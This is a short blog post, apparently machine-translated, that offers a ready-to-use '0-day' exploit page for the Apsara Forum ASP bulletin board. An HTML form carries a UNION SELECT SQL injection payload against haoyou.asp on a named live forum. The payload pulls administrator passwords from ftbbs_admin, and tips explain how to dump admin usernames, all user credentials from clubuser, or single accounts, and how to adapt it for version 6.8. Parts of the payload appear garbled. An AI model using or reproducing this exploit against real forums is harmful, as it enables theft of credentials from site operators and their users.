Apsara Forum asp kills 0-day exploitation programs (Official vulnerabilities are not supplemented)

Baishen s blog

Copy code <center> <H1> Apsara Forum asp kill 0-day exploitation Program </H1> </center> <form method = post name = "luoye"> target address: <input name = "act" type = "text" id = "act" size = "140" value ="

Http://bbs.0127.cn/"> <br> injection statement: <input type = text size = 150 name = userid value =" 1 and 1 = 2 union select 1, 2, admin_pwd, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37,

, 39, 58 from ftbbs_admin "> <br> <input type = submit value = Fuck onClick =" javascript: luoye. action = document. all. act. value + haoyou. asp; "> <br> <font color = red> when all administrator usernames are exposed, change admin_pwd to admin_user </font> <br> <font color = red> change the table name to clubuser when all forum user data is cracked. The username field is clubuser_nickname; the password field is clubuser_password </font> <br> <font color = red> if you want to blow up data of a single user or administrator, add the where statement on your own. For details, refer: id and clubuserid </font> <br>
<Font color = blue> the above is the injection Statement of version 6.3. For version 6.8, you must change the number of fields to 61 and add a Custom Field header before the field, default Value: "ft _" </font> <br>